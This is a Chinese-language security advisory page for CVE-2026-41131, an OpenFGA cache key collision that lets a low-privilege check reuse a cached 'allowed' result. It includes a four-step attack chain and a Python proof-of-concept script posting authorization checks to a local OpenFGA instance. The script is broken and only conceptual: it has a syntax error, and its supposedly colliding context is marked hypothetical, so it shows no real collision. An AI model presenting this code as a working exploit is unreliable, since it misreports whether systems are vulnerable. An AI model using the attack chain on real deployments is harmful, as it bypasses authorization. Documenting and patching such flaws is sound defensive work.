IPBUF安全漏洞报告
English
CVE-2026-41131 CVSS 5.0 中危

CVE-2026-41131 OpenFGA缓存键冲突致权限绕过漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-41131
漏洞类型
逻辑错误
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenFGA

相关标签

OpenFGACVE-2026-41131权限绕过缓存漏洞逻辑错误

漏洞概述

OpenFGA是一个专为开发者构建的授权引擎。在1.14.1版本之前,当模型使用条件评估并启用缓存时,特定场景下两个不同的检查请求可能生成相同的缓存键。这导致OpenFGA为后续请求错误地重用早期的缓存结果,可能绕过正常的授权检查。

技术细节

该漏洞的核心在于OpenFGA缓存键生成的逻辑缺陷。当授权模型中包含关系条件(Conditions)且系统开启缓存时,系统应当根据请求上下文生成唯一的缓存键。然而,在受影响版本中,不同的请求上下文可能计算出相同的哈希键值。攻击者若拥有低权限,可通过精心构造请求触发这种碰撞。一旦碰撞发生,系统将直接返回之前缓存的结果(例如允许访问),而不再对当前请求的条件进行实时评估,从而导致权限绕过。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统使用了OpenFGA,并且启用了缓存功能和条件评估模型。
STEP 2
2. 缓存污染
攻击者发送一个经过精心构造的授权检查请求,该请求满足授权条件(如管理员权限),使系统将“允许”的结果缓存起来,并记录下该请求的特征。
STEP 3
3. 触发碰撞
攻击者发送第二个不同的请求(如低权限用户请求),利用漏洞使得该请求生成与第一步相同的缓存键。
STEP 4
4. 权限绕过
系统检测到缓存命中,直接返回第一步缓存的“允许”结果,未对当前低权限用户的条件进行重新评估,导致越权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-41131 (OpenFGA Cache Key Collision) This script demonstrates the concept where two different requests might result in a cache hit, bypassing condition evaluation. """ import requests import json TARGET_URL = "http://localhost:8080" STORE_ID = "target_store_id" MODEL_ID = "target_model_id" def make_request(user, object, relation, context): endpoint = f"{TARGET_URL}/stores/{STORE_ID}/check" headers = {"Content-Type": "application/json"} payload = { "tuple_key": { "user": user, "object": object, "relation": relation }, "authorization_model_id": MODEL_ID, "context": context } response = requests.post(endpoint, headers=headers, data=json.dumps(payload)) return response.json() # Step 1: Send a request with context that allows access # This result gets cached under a specific Key A print("[+] Sending request 1 with valid admin context...")") ctx_admin = {"level": "admin", "region": "us"} resp1 = make_request("user:alice", "doc:1", "viewer", ctx_admin) print(f" Response: {resp1}") # Step 2: Send a request with a different context (e.g., guest) # Vulnerability: This generates the same Cache Key A # System returns cached 'allowed' result instead of evaluating guest context print("[+] Sending request 2 with guest context (triggering collision)...") ctx_guest = {"level": "guest", "region": "eu"} # Hypothetical collision context resp2 = make_request("user:bob", "doc:1", "viewer", ctx_guest) print(f" Response: {resp2}") if resp2.get('allowed') == True: print("[!] Vulnerability confirmed: Guest access granted via cache poisoning.") else: print("[-] Access denied correctly or target not vulnerable.")

影响范围

OpenFGA < 1.14.1

防御指南

临时缓解措施
建议立即升级至OpenFGA v1.14.1或更高版本以彻底修复此漏洞。若无法立即升级,可在系统配置中禁用缓存机制作为临时缓解手段,但这可能会对系统性能产生一定影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表